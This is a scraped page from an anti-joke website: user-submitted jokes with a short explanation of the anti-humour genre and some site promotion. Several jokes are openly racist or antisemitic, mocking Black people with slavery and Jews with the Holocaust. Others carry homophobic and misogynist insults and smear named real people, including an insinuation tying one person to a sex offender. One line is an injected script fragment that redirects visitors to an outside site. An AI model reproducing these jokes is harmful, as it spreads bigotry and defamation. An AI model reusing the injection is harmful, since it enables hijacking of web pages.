- Anti Joke

The funniest thing happened the other day, it was like one went like this, and the other went like that, and then everyone laughed... ...Oh, its one of those where you would have had to be there to see how funny it was.

Why did the chicken cross the road? It escaped.

What is the opposite of a joke ? Racism

What did the man say before he died? I am going to die.

How do you get four gay guys to sit on one barstool? It's quite difficult, it would be easier to just get 3 more barstools.

What happened to the little girl who fell into the lake? She was rescued and made a complete recovery.

How did the Mexican get across the boarder? He applied for a student visa. He was a promising young scholar who had no trouble being accepted to a prestigious college.

Bill: Wanna know the difference between knowledge and wisdom? Joe: Sure Bill: Knowledge is knowing that an apple is a fruit. Wisdom is knowing not to put it in a fruit salad.

A man walk's into a bar with a monkey, I fotgot the rest of the joke. Your mom is a whore.

Stephen Hawking walks into a bar.

What do you call a person who kills there own child? Casey Anthony.

"'>document.location.href="http://cramik.org"

WELCOME TO THE GARLIC BOYS SHOW! So kids, what are we gonna eat today? POTATOES! FUUUUUUU! Moral: You say tomata, I say WROOOOOOOONG, you say cheap I say your mother.

What do you get when you cross a black man and an octopus? I don't know, but it sure would pick a lot of cotton.

What did the helicopter say? Aluminum-minum-minum-minum-minum-mum-mum-mum-mum-um-um-um-um

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

NEW ANTI-JOKE BOOK! Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

Want more? You might be interested in...

Anti-Joke Chicken

Anti-Joke Triceratops

Roses are red My name is Dave This poem doesn't make sense Potato

why did the man fall off his bike? someone threw an oven at him

knock knock. who's there? doctor. doctor who? doctor: you have cancer.

Whats the difference between a Jew and a Pig? One makes bacon when smoked.

How does Batman's mother call him to dinner? She doesn't, she's dead.

whats the differnce between madalin macan and batman?...batman returns

How many dead babies can you fit in a bathtub? Well, it all depends on the size of the bathtub.

One time there was a guy who jumped off a bridge and died

How do you find dennis ferguson? Look at danyons bckground